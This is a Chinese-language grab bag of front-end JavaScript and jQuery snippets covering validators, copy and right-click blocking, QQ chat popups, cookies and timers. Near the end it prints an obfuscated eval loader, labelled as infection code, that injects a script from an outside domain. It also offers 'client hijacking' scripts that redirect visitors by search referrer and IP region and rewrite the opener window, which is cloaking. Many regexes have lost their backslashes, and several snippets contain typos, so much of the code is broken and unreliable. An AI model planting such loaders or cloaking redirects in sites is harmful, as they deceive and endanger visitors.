//正则验证手机号
function moible(obj){
 var reg = /^0?(13[0-9]|14[0-9]|15[0-9]|17[0-9]|18[0-9]|)[0-9]{8}$/;
 if(!reg.test(obj)){
  return false;
 }else{
  return true;
 }
}
 
//邮箱验证
function email(email){
  var pattern = /^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(.[a-zA-Z0-9_-])+/;
  flag = pattern.test(email);
  if(flag){
    return true;
  }
  else{
    return false;
  }
}
 
//验证身份证
function idcard(sf){
/* var pattern = /^(d{15}$|^d{18}$|^d{17}(d|X|x))$/;*/
var pattern = /^((1[1-5])|(2[1-3])|(3[1-7])|(4[1-6])|(5[0-4])|(6[1-5])|71|(8[12])|91)d{4}((19d{2}(0[13-9]|1[012])(0[1-9]|[12]d|30))|(19d{2}(0[13578]|1[02])31)|(19d{2}02(0[1-9]|1d|2[0-8]))|(19([13579][26]|[2468][048]|0[48])0229))d{3}(d|X|x)?$/
 flag = pattern.test(sf);
 if(flag){
    return true;
  }else{
    return false;
  }
}
//验证数字
var weightpreg = /^d+(.d{1,})?$/;
 
onkeyup="javascript:isFormateNum(this,6);"
function isFormateNum(ob,len){  //len长度
    if(ob.value.length>len){
        ob.value = ob.value.substring(0,len);
    }        
    ob.value=ob.value.replace(/D/g,'');
}
//姓名汉字验证
function name(obj){
    var nam = /^[u4e00-u9fa5]+$/;
    if(!nam.test(obj)){
    return false;
    }else{
    return true;
    }
}
正则数字:/[^d]/g;
正则汉字:/^[u4e00-u9fa5]+$/gi;
//Validform
datatype:
"s4-12":/^[u4E00-u9FA5uf900-ufa2dw.s]{4,12}$/,
   "n1-6":/^d{1-6}$/,
   "s5":/^[u4E00-u9FA5uf900-ufa2d]{0,5}$/,
   "hz6":/^[u4E00-u9FA5uf900-ufa2dw.s]{9}$/,
"idcard": function(gets, obj, curform, datatype) {
//该方法由佚名网友提供;
var Wi = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1]; // 加权因子;
var ValideCode = [1, 0, 10, 9, 8, 7, 6, 5, 4, 3, 2]; // 身份证验证位值,10代表X;
if (gets.length == 15) {
return isValidityBrithBy15IdCard(gets);
} else if (gets.length == 18) {
var a_idCard = gets.split(""); // 得到身份证数组
if (isValidityBrithBy18IdCard(gets) && isTrueValidateCodeBy18IdCard(a_idCard)) {
return true;
}
return false;
}
return false;
 
function isTrueValidateCodeBy18IdCard(a_idCard) {
var sum = 0; // 声明加权求和变量
if (a_idCard[17].toLowerCase() == 'x') {
a_idCard[17] = 10; // 将最后位为x的验证码替换为10方便后续操作
}
for (var i = 0; i < 17; i++) {
sum += Wi[i] * a_idCard[i]; // 加权求和
}
valCodePosition = sum % 11; // 得到验证码所位置
if (a_idCard[17] == ValideCode[valCodePosition]) {
return true;
}
return false;
}
 
function isValidityBrithBy18IdCard(idCard18) {
var year = idCard18.substring(6, 10);
var month = idCard18.substring(10, 12);
var day = idCard18.substring(12, 14);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 这里用getFullYear()获取年份,避免千年虫问题
if (temp_date.getFullYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
 
function isValidityBrithBy15IdCard(idCard15) {
var year = idCard15.substring(6, 8);
var month = idCard15.substring(8, 10);
var day = idCard15.substring(10, 12);
var temp_date = new Date(year, parseFloat(month) - 1, parseFloat(day));
// 对于老身份证中的你年龄则不需考虑千年虫问题而使用getYear()方法
if (temp_date.getYear() != parseFloat(year) || temp_date.getMonth() != parseFloat(month) - 1 || temp_date.getDate() != parseFloat(day)) {
return false;
}
return true;
}
}
//点击显示隐藏
function show(){
    var a=document.getElementById("li").style.display;
    if(a=="block"){
        document.getElementById("li").style.display="none"
    }else{
        document.getElementById("li").style.display="block"
    }
}
$('.show_type').bind("click", function() {
if ($('#goods_list').hasClass('openList')){
$('#goods_list').removeClass('openList');
}else{
$('#goods_list').addClass('openList');
}
});
//js注册协议阅读
function show(){
    var a=document.getElementById("read").value ;
    if(a=="0"){
        document.getElementById("read").value="1"
    }else{
        document.getElementById("read").value="0"
    }
}
var a =document.getElementById("test").childNodes;
var b = document.getElementById("weight").value;
//Ajax实现判断用户是否存在
$(document).ready(function (){
q    $("#username").blur(function (){ 
        if($("#username").val()==''){ 
            $("#usernames").text("必填!"); 
        }else{ 
            //ajax判断该用户名是否已经被注册 
            $.post("__APP__/Home/Index/ajax_user",{'name':$("#username").val()},function (data){ 
                if(data==1){ 
                    $("#usernames").text("用户名已存在!");  
                }else{ 
                     $("#usernames").text("*");  
                 }
           });
          }
    });
 });
//显示当前页面的地址
<script>
 $("#tui").click(function (){
  window.prompt("请复制推荐地址",window.location.href );
    }); 
var Input = $('fieldset input');
Input.focus()
Input.select()
try{
var copy=document.execCommand('copy');
}catch(e){}
swal("复制成功!", "success");
</script>
//Js图片引用路径:
./Public/Home/images/prev.png 当前目录
/Public/Home/images/prev.png 根目录
//输入错误时输入框变红
$("#name").attr('style','border:solid 1px red');
//错误提示返回上一页:echo "<script>alert('未找到含有该关键词的产品');location.replace(document.referrer);</script>";
//加载前一页:location.replace(document.referrer);
//返回上上页:history.go(-2);
//重新加载当前页面:window.location.reload();
//页面跳转:
window.location.href='__APP__/Index/index'
<meta http-equiv="refresh" content="0;url=__APP__/Index/pay">
//js取小数点后三位
var rli=($("#yli").val()/12)*month.toFixed(3);
//点击生成随机数字取出数组值
$(document).ready(function (){
    var str = '水瓶座,双鱼座,白羊座,金牛座,双子座,巨蟹座,狮子座,处女座,天秤座,天蝎座,射手座,摩羯座';
    var strs=str.split(",");//字符分割
    $(".enter").click(function (){ 
        var i=Math.floor(Math.random()*12);//生成1-12之间的数组
        window.location.href="__APP__/Index/xingzuo/title/"+strs[i];
    });
});
<script language="javascript">
//禁止用F5键
function document.onkeydown(){  
 if ( event.keyCode==116){  
    event.keyCode = 0;
    event.cancelBubble = true;
    returnfalse;
  }
}
//禁止右键弹出菜单
function document.oncontextmenu(){  
   returnfalse;  
}
//下面代码实现全屏显示
function window.onload(){
   var Request = new Array();//保存参数
   var s = location.search.substring(1);
   if (s && s!=""){
    var list = s.split("&");
    for (var i=0; i < list.length; i++){
    var pair = list[i].split("=");
    if (pair[0] && pair[0] !=""){
     Request[unescape(pair[0])] = unescape(pair[1]);
    }
   }
 }
   var fullscreen=Request["fullscreen"];
   if(fullscreen!="yes"){
    var file =self.location;
    var a = window.open("about:blank","","fullscreen=yes");
    self.opener=null;
    self.close();
    a.location=file + "?fullscreen=yes";
   }
}
</script>
<script language="Javascript"><!--
//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键 
//Author: meizz(梅花雨) 2002-6-18 
function document.oncontextmenu(){event.returnValue=false;}
//屏蔽鼠标右键
function window.onhelp(){returnfalse}
//屏蔽F1帮助 
function document.onkeydown() 
if ((window.event.altKey)&& 
((window.event.keyCode==37)|| //屏蔽 Alt+ 方向键 ← 
(window.event.keyCode==39))) //屏蔽 Alt+ 方向键 → 
alert("不准你使用ALT+方向键前进或后退网页!"); 
event.returnValue=false
/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/ 
if ((event.keyCode==8) || //屏蔽退格删除键 
(event.keyCode==116)|| //屏蔽 F5 刷新键 
(event.ctrlKey && event.keyCode==82)){ //Ctrl + R 
event.keyCode=0; 
event.returnValue=false
if (event.keyCode==122){event.keyCode=0;event.returnValue=false;}
//屏蔽F11 
if (event.ctrlKey && event.keyCode==78) event.returnValue=false;
//屏蔽 Ctrl+n 
if (event.shiftKey && event.keyCode==121)event.returnValue=false;
//屏蔽 shift+F10 
if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
window.event.returnValue = false;
//屏蔽 shift 加鼠标左键新开一网页 
if ((window.event.altKey)&&(window.event.keyCode==115))
//屏蔽Alt+F4 
window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px"); 
returnfalse
</script>
//禁止鼠标右键
<body oncontextmenu="return false" onselectstart="return false">
<noscript>
<iframe src="*.html>";</iframe>
</noscript>
<script>
function stop(){
    return false;
}
document.oncontextmenu=stop;
</script> 
 
//功能:屏蔽鼠标右键、复制、粘贴、CTRL、ALT、SHIFT、F2~F12等,仅建议对文章内容独特性要求或不愿意被随意复制内容的站点**
//屏蔽鼠标右键、ALT翻页、CTRL+N、CTRL+R、F2~F12、SHIFT+左键
jQuery(document).ready(function($){
    $(document).bind("contextmenu",function(){return false;});
    $(document).bind("selectstart",function(){return false;});
    $(document).keydown(function(){return key(arguments[0])});
    function key(e){
        var keyCode;
        if(window.event){ //IE
            keyCode = e.keyCode;
        }else if(e.which){ //firefox/opera/chrome/netscape
            keyCode = e.which;
        }
        if(
            (keyCode==112)||       //F2
            (keyCode==113)||       //F2
            (keyCode==114)||       //F3
            (keyCode==115)||       //F4
         // (keyCode==116)||       //F5
            (keyCode==117)||       //F6
            (keyCode==118)||       //F7
            (keyCode==119)||       //F8
            (keyCode==120)||       //F9
            (keyCode==121)||       //F10
         // (keyCode==122)||       //F11
            (keyCode==123)||       //F12
            (keyCode==17)||        //CTRL
            (keyCode==16)          //shift
            //此处填写后续条件
        ){
            //  alert("别再按了,你节操碎了!");     
            return false;
        }
    }
});
//禁止鼠标左右键
<script language=javascript>
<!--
if (window.Event){
document.captureEvents(Event.MOUSEUP);
function nocontextmenu(){
event.cancelBubble = true
event.returnValue = false;
return false;
}
function norightclick(e){
if (window.Event){
if (e.which == 2 || e.which == 3){
return false;
}
}elseif (event.button == 2 || event.button == 3){
event.cancelBubble = true
event.returnValue = false;
return false;
}
}
document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
}
//-->
</script>
禁止选中代码
<script language=JavaScript>
document.oncontextmenu=new Function("event.returnValue=false;");
document.onselectstart=new Function("event.returnValue=false;");
</script>
禁止另存为
<noscript><iframe src="*.htm"></iframe></noscript>
防拷贝/复制代码
<body leftmargin=0 topmargin=0 >
禁止选择文本
<script type="text/javascript">
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
return false
}
}
function reEnable(){
return true
}
if (typeof document.onselectstart!="undefined") {
document.onselectstart=new Function ("return false")
}else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}
</script>
禁止网页另存为
<noscript><iframe src="*.html"></iframe></noscript>
禁止选择文本
<script type="text/javascript">
var omitformtags=["input", "textarea", "select"]
omitformtagsomitformtags=omitformtags.join("|")
function disableselect(e){
if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1){
return false
}
function reEnable(){
return true
}
 
if (typeof document.onselectstart!="undefined"){
document.onselectstart=new Function ("return false")
}else{
document.onmousedown=disableselect
document.onmouseup=reEnable
}
</script>
禁用右键
<script>
function stop(){
return false;
}
document.oncontextmenu=stop;
</script>
真正的鼠标右键屏蔽
<script language="JavaScript">
<!--
if (window.Event){
document.captureEvents(Event.MOUSEUP);
function nocontextmenu(){
event.cancelBubble = true
event.returnValue = false;
return false;
}
function norightclick(e){
if (window.Event){
if (e.which == 2 || e.which == 3){
return false;
}
}
}else{
if (event.button == 2 || event.button == 3){
event.cancelBubble = true
event.returnValue = false;
return false;
}
}
document.oncontextmenu = nocontextmenu; // for IE5+
document.onmousedown = norightclick; // for all others
//-->
</script>
自动弹出QQ
<script charset="utf-8" type="text/javascript" src="http://wpa.b.qq.com/cgi/wpa.php?key=XzgwMDEwNTEwOF8yODkyNTNfODAwMTA1MTA4Xw"></script>
<!-- WPA Button End -->
<script type="text/javascript"> 
//根据“键”获取Cookie值
function getCookie(name){
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg)){
return unescape(arr[2]);
}else{
return null;
}
}
var strCookie = getCookie("data");
window.onload = function () { 
//获取当前时间
var newTime = new Date().getTime();
//
var time = newTime - strCookie;
//上次弹出时间与当前时间差大于24小时 弹出登陆QQ
if(time > 1000 * 60 * 60 * 24){ 
//记录当前时间
var date = new Date().getTime();
document.cookie="data="+date;
setTimeout(function () { 
var newE = document.createElement("iframe");  
newE.style.display = 'none'; 
newE.src = "tencent://message/?Menu=yes&uin=800105108&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
var crea = document.body.appendChild(newE); 
}, 5000); 
}
</script>
自动弹出对话框:
<iframe style="display:none;" src="tencent://message/?uin=QQ号&site=&menu=yes"></iframe>
随机弹出多个企鹅号之一
<iframe style="display:none;" class="qq_iframe" src=""></iframe>
<script>
$(function(){
qq_list = new Array('企鹅号1', '企鹅号2','企鹅号23333');
//随机
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin="+qq_list[qq_i]+"&site=&menu=yes";
$('.qq_iframe').attr('src',src);
})
</script>
 
随机弹+延时弹
<iframe style="display:none;" class="qq_iframe" src=""></iframe>
<script>
$(function(){
setTimeout(function(){
qq_list = new Array('企鹅号1', '企鹅号2');
//随机
qq_i = Math.floor(Math.random()*qq_list.length);
src = "tencent://message/?uin="+qq_list[qq_i]+"&site=&menu=yes";
$('.qq_iframe').attr('src', src);
}, 10000)//这里的单位是毫秒,10000就是10秒弹
})
</script>
 
//图片漂浮
<body>
    <div id="codefans_net" style="position:absolute">
        <a href="http://alonesky.com" target="_blank"><img src="http://www.inwebson.com/demo/blocksit-js/demo2/images/img27.jpg" border="0"></a> 
    </div> 
</body>
<script type="text/javascript"> 
    var x = 50,y = 60; 
    var xin = true, yin = true ;
    var step = 1; 
    var delay = 10; 
    var obj=document.getElementById("codefans_net"); 
    function float() { 
        var L=T=0; 
        var R= document.body.clientWidth-obj.offsetWidth; 
        var B = document.body.clientHeight-obj.offsetHeight; 
        obj.style.left = x + document.body.scrollLeft; 
        obj.style.top = y + document.body.scrollTop; 
        x = x + step*(xin?1:-1); 
        if (x < L) { xin = true; x = L;} 
        if (x > R){ xin = false; x = R;} 
        y = y + step*(yin?1:-1); 
        if (y < T) { yin = true; y = T; } 
        if (y > B) { yin = false; y = B; } 
    } 
    var itl= setInterval("float()", delay); 
    obj.onmouseover=function(){clearInterval(itl)} 
    obj.onmouseout=function(){itl=setInterval("float()", delay)} 
</script>
//js中输出
console.log("u0070u006fu0077u0065u0072u0020u0062u0079u0020u007au0068u0069u0073u0068u0075u006e");
//设为首页 < a onclick="SetHome(this,window.location)" > 设为首页 < /a>
   function SetHome(obj, url) {
    try {
        obj.style.behavior = 'url(#default#homepage)';
        obj.setHomePage(url);
    } catch (e) {
        if (window.netscape) {
            try {
                netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
            } catch (e) {
                alert("抱歉,此操作被浏览器拒绝!nn请在浏览器地址栏输入“about:config”并回车然后将[signed.applets.codebase_principal_support]设置为'true'");
            }
        } else {
            alert("抱歉,您所使用的浏览器无法完成此操作。nn您需要手动将【" + url + "】设置为首页。");
        }
    }
}
// 加入收藏 < a onclick="AddFavorite(document.title,window.location)" >加入收藏< /a>
function AddFavorite(title, url) {
    try {
        window.external.addFavorite(url, title);
    } catch (e) {
        try {
            window.sidebar.addPanel(title, url, "");
        } catch (e) {
            alert("抱歉,您所使用的浏览器无法完成此操作。nn加入收藏失败,请使用Ctrl+D进行添加");
        }
    }
}
// 保存到桌面 < a onclick="toDesktop(window.location, document.title)" >加入收藏< /a>
function toDesktop(sUrl, sName) {
    try {
        var WshShell = new ActiveXObject("WScript.Shell");
        var oUrlLink = WshShell.CreateShortcut(WshShell.SpecialFolders("Desktop") + "\" + sName + ".url");
        oUrlLink.TargetPath = sUrl;
        oUrlLink.Save();
    } catch (e) {
        alert("当前IE安全级别不允许操作!");
    }
}
//获取点击复选框获得多个值
var zongji = '';
$('input[name="check"]:checked').each(function () {
       if (zongji == '') {
          zongji= parseInt($(this).val());
        } else {
             zongji=parseInt(zshi'pongji)+parseInt($(this).val());
         }
 });
$(".allBack").show();显示
$(".allBack").hide();隐藏
var aboutHeight=$(".aboutText").height(); ///获取文本框高度 if(aboutHeight>600){ $(".aboutText").addClass("aboutText-height") ///添加样式
$(".cont-right").append("<div class='moresss'>点击查看更多</div>") ///添加文本
} $(".moresss").click(function(){ $(".aboutText").removeClass("aboutText-height");///移除样式
$(this).hide(); })
$(this).addClass("thisit").siblings("li").removeClass("thisit");//样式切换
//手机端浏览电脑页面自动跳转到手机版界面
<script type=”text/javascript”> if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) { window.location ="index.php"; //可以换成http地址 } </script>
//动态添加js
with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/static/protocol/https/jquery/jquery-1.10.2.min_65682a2.js?cdnversion='+~(-new Date()/36e5)];
 
//js判断操作系统
function detectOS() {
    var sUserAgent = navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac){ return "Mac";}
    var isUnix = (navigator.platform == "X11") && !isWin && !isMac;
    if (isUnix){ return "Unix";}
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    if (isLinux){ return "Linux";}
    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
        if (isWin2K){ return "Win2000"};
        var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
        if (isWinXP){ return "WinXP";}
        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
        if (isWin2003){ return "Win2003";}
        var isWinVista= sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
        if (isWinVista){ return "WinVista";}
        var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
        if (isWin7){ return "Win7";}
    }
    return "other";
}
document.writeln("您的操作系统是:" + detectOS());
//导航定位
<script type="text/javascript">
$("#nav li:eq(4)>a").addClass("current");
</script>
//使用JS定时器来间断性的执行函数:
  setTimeout("MyAutoRun()",1000); //隔1000毫秒就执行一次MyAutoRun()函数 
// 每当页面加载时,重置表单
<script type="text/javascript">
function formReset(){ 
    document.getElementsByTagName('form')[0].reset(); 
}
window.onload= formReset; // 每当页面加载时,重置表单
</script>
// 获取action 赋值
var actzhi=$(this).val();
        var sdjfksdf=$(this).parents("form").attr("action");//获取action
        if(actzhi=='立即购买'){
            $(this).parents("form").attr("action","{:U('Index/shop')}");赋值
            $("#subb").submit();
        }else if(actzhi=='加入购物车'){
            $(this).parents("form").attr("action","{:U('Index/joincar')}");
            $("#subb").submit();
        }
//js倒计时
<html>
<head>
<meta http-equiv="Content-Type" content="charset=utf-8">
<script language="javascript" type="text/javascript">
var interval = 1000;
function ShowCountDown(year,month,day,times){
var now = new Date();
var endDate = new Date(year, month-1, day);
var leftTime=endDate.getTime()-now.getTime();
var leftsecond = parseInt(leftTime/1000);
//var days=parseInt(leftsecond/(24*60*60*6));
var days=Math.floor(leftsecond/(60*60*24));
var hour=Math.floor((leftsecond-days*24*60*60)/3600);
var minute=Math.floor((leftsecond-days*24*60*60-hour*3600)/60);
var second=Math.floor(leftsecond-days*24*60*60-hour*3600-minute*60);
var cc = document.getElementById(times);
cc.innerHTML = "距离抽奖时间"+year+"年"+month+"月"+day+"日还有:"+days+"天"+hour+"小时"+minute+"分"+second+"秒";
}
window.setInterval(function(){ShowCountDown(2018,5,1,'times');}, interval);
</script>
</head>
<body>
<div id="times"></div>
</body>
 
//input 失去焦点和获得焦点
    $(function(){
        jQuery.focusblur = function(focusid) {
            var focusblurid = $(focusid);
            var defval = focusblurid.val();
            focusblurid.focus(function(){
                var thisval = $(this).val();
                if(thisval==defval){
                  $(this).val("");
                 }
            });
            focusblurid.blur(function(){
                var thisval = $(this).val();
                if(thisval==""){
                   $(this).val(defval);
                }
            });    
        }
        /*下面是调用方法*/
        $.focusblur("#nick");  
        $.focusblur("#rphone");
        $.focusblur("#rverify");
    });
//调用浏览器打印功能
<div style="text-align:right"><input id="btnPrint" value="打印" type="button" onclick="btnPrintClick()" /> </div>
<script type="text/javascript">
function btnPrintClick(){  
    window.print();  
}
</script>
//指定打印位置
<script type="text/javascript">
function printdoc() {
var printpage=document.getElementById("div_print");
var newcont = printpage.innerHTML;
var oldcont = document.body.innerHTML;
document.body.innerHTML =newcont;
window.print();
document.body.innerHTML=oldcont;
return false;
}
</script>
//自动弹出QQ
<script type="text/javascript"> 
//根据“键”获取Cookie值
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null;
}
var strCookie = getCookie("data");
window.onload = function() { //获取当前时间
    var newTime = new Date().getTime(); //
    var time = newTime - strCookie; //上次弹出时间与当前时间差大于24小时 弹出登陆QQ
    if (time > 1000 * 60 * 60 * 24) { //记录当前时间
        var date = new Date().getTime();
        document.cookie = "data=" + date;
        setTimeout(function() {
            var newE = document.createElement("iframe");
            newE.style.display = 'none';
            newE.src = "tencent://message/?Menu=yes&uin={$site.weixin}&Service=58&SigT=A7F6FEA02730C98855C251EDA5F5530528B6D9F2FD84A67EFBBBE5E893190F18CE1BFD0ADB65B0F19D2950D8FC65F87CD9501CC929C222138544B1DF44C2F6982AA64E84BA850BAAF7BEF129BC783B66579E3600A65545D2882A88C017455F289F2122E9A56484283721646AA0014CC1A7A38D6A96C4E6AC&SigU=30E5D5233A443AB21A75CCA44C3EF8B57A001B6E7823D5665D9499F322F0CB3E3A76A9A8960922094EB20AB40ABC78E1B3AD46F141C6FA5F5C5D898AB6C51D0A3AD1FD6A7789A9AE";
            var crea = document.body.appendChild(newE);
        },
        5000);
    }
}
</script>
 
//各地时间
<script type="text/javascript" charset="UTF-8">
$(function(){
    setInterval(function(){
        time_info();
    },1000);
});
function time_info(){
  var d = new Date(); //创建一个Date对象
  var localTime = d.getTime();
  var localOffset =d.getTimezoneOffset()*60000; //获得当地时间偏移的毫秒数
  var utc = localTime + localOffset; //utc即GMT时间
  var str = '';
  //伦敦 0   纽约 -5  香港 8  悉尼10   东京9 瑞士  1
  var lundun = utc;
  var ld = new Date(lundun);
  var niuyue = utc + (3600000*(-5));
  var ny = new Date(niuyue);
  var xianggang = utc + (3600000*8);
  var xg = new Date(xianggang);
  var xini = utc + (3600000*10);
  var xn = new Date(xini);
  var dongjing = utc + (3600000*9);
  var dj = new Date(dongjing);
  var ruishi = utc + (3600000*1);
  var rs = new Date(ruishi);
  str += '<i>伦敦 '+ld.getHours()+':'+ld.getMinutes()+':'+ld.getSeconds()+'</i>';
  str += '<i>纽约 '+ny.getHours()+':'+ny.getMinutes()+':'+ny.getSeconds()+'</i>';
  str += '<i>香港 '+xg.getHours()+':'+xg.getMinutes()+':'+xg.getSeconds()+'</i>';
  str += '<i>悉尼 '+xn.getHours()+':'+xn.getMinutes()+':'+xn.getSeconds()+'</i>';
  str += '<i>东京 '+dj.getHours()+':'+dj.getMinutes()+':'+dj.getSeconds()+'</i>';
  str += '<i>瑞士 '+rs.getHours()+':'+rs.getMinutes()+':'+rs.getSeconds()+'</i>';
  $('#time_info').html(str);
}
</script>
//打印对象
function writeObj(obj){
 var description = "";
 for(var i in obj){
  var property=obj[i];
  description+=i+" = "+property+"n";
 }
 alert(description);
}
//统计字符在字符串中出现次数
function charStats(str) {
var visitStats={};
for(var i=0;i<str.length;i++){
var char = str[i];
if (!visitStats[char]++){
visitStats[char]=1;
}
}
return visitStats;
}
//将对象转为数组
var arr=[];
var data=charStats('abcdaabc');
for(var i in data){
var str=i+"="+data[i];// i 而data[ i ] 就代表 userName 12121 就是 i 所对应的值;
alert(str);
}
//object对象转换为string字符串
function obj2string(o){
 var r=[];
 if(typeof o=="string"){
  return"""+o.replace(/(['"\])/g,"\$1").replace(/(n)/g,"\n").replace(/(r)/g,"\r").replace(/(t)/g,"\t")+""";
 }
 if(typeof o=="object"){
  if(!o.sort){
   for(var i in o){
    r.push(i+":"+obj2string(o[i]));
   }
   if(!!document.all&&!/^n?functions*toString()s*{n?s*[native code]n?s*}n?s*$/.test(o.toString)){
    r.push("toString:"+o.toString.toString());
   }
   r="{"+r.join()+"}";
  }else{
   for(var i=0;i<o.length;i++){
    r.push(obj2string(o[i]))
   }
   r="["+r.join()+"]";
  }
  return r;
 }
 return o.toString();
}
//js获取cookie读取cookie
<script type="text/javascript">
//设置Cookie  
   function SetCookie(name, value) {  
       var exp = new Date();  
       exp.setTime(exp.getTime() + 3 * 24 * 60 * 60 * 1000); //3天过期  
       document.cookie = name + "=" + encodeURIComponent(value) + ";expires=" + exp.toGMTString()+";path=/";  
       return true;  
   };  
/** 读取cookie变量 **/ 
function getCookieVal(offset) {
  var endstr = document.cookie.indexOf(";",offset);
  if(endstr == -1)
    endstr = document.cookie.length;
//  return unescape(document.cookie.substring(offset,endstr)); //解码
  return unescape(unescape(document.cookie.substring(offset,endstr))); //修改成两次unescape
}
function GetCookie(name) {
  var arg = name + "=";
  var alen = arg.length;
  var clen = document.cookie.length;
  var i = 0;
  while(i < clen) {
    var j = i + alen;
    if(document.cookie.substring(i,j) == arg)
      return getCookieVal(j);
    i = document.cookie.indexOf(" ",i) + 1;
    if(i == 0) break;
  }
  return null;
}
document.write(document.cookie+"<br>"+GetCookie("name"));
</script>
//多选框变成单选框
$(".team input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".team input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//获取当前input:checkbox是否被选中
1.$(this).get(0).checked;
2.$(this).is(':checked');
3.$(this)[0].checked;
4.$(this).prop('checked');
//多选框变单选
$(".team dl dd").click(function(){
if($(this).find('input').prop('checked')||$(this).find('input').prop('checked')=='checked'){
$(this).parent().find("input").removeAttr("checked");
$(this).find('input').prop("checked", true);
}
});
$(".brother input:checkbox").click(function(){
if(this.checked || this.checked=='checked'){
$(".brother input:checkbox").removeAttr("checked");
$(this).prop("checked", true);
}
});
//js中毒代码
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('3.4("<0 1=2://5.8.9/6.7></0>");',10,10,'script|src|http|document|writeln|www|main2|js|5121188|com'.split('|'),0,{}))
//js给自身赋值
<input type="text" onchange="addItem(this)" value="你好">
function addItem(val){
$(val).attr('value',$(val).val());
}
//js 替换替换函数replaceWith()
1.//<p>hello</p> ->##
$('p').replaceWith('##');
2. //<p>hello</p> -><b>hello</b>
$('p').each(function(){
$(this).replaceWith('<b>'+$(this).html()+'</b>');
});
3.//<p>苹果</p><p>电脑</p>-><p>apple</p><p>PC</p>
var translate = {
'苹果' : 'apple',
'电脑' : 'PC'
};
$('p').each(function(){
$(this).replaceWith(translate[$(this).html()]);
});
//统一url传值的类型,可以使用js对参数进行URL编码
var _name=encodeURI($("#name").val()); //编码
//在服务端解码
String _name=URLDecoder.decode(areaDTO.getName(),"utf-8");
 
//清空所有
<script type="text/javascript">
$(document).ready(function (){
$("#clear").click(function (){
if(true==confirm('您确定要清空吗?')){
$.post("__APP__/Member/dels",function (data){
if('1'==data){
alert("清空成功");
}else{
alert("清空失败");
}
window.location.reload();
})
}else{
return false;
}
})
/*全选*/
$("#selectall").click(function () {
var collid = document.getElementById("selectall").checked;
var $ = document.getElementsByName('iii');
if (collid) {
for(var i = 0; i < $.length; i++){
$[i].checked = true;
}
}else{
for(var i = 0; i < $.length; i++)
$[i].checked = false;
}
});
});
</script>
//客户端劫持
<script type="text/javascript">
today=new Date();
today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('<script type="text/javascript" src=""></script>');
}else{
window.location.href="http://baidu.com";
}
</script>
//js跳转
<script src="http://ip.ws.126.net/ipquery"></script>
<script type="text/javascript">
var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}//ig;
var where= document.referrer;
if(lo == '北京市'||lo =='深圳'||lc == '北京市'||lc =='深圳'){ 
}else{ 
if(regexp.test(where)){
window.document.title ='';
if(parent.window.opener){
parent.window.opener.location="http://www.alonesky.com/";
}
window.location.href="http://video.alonesky.com/";
}else{
 
}
}
</script>
 
 
 
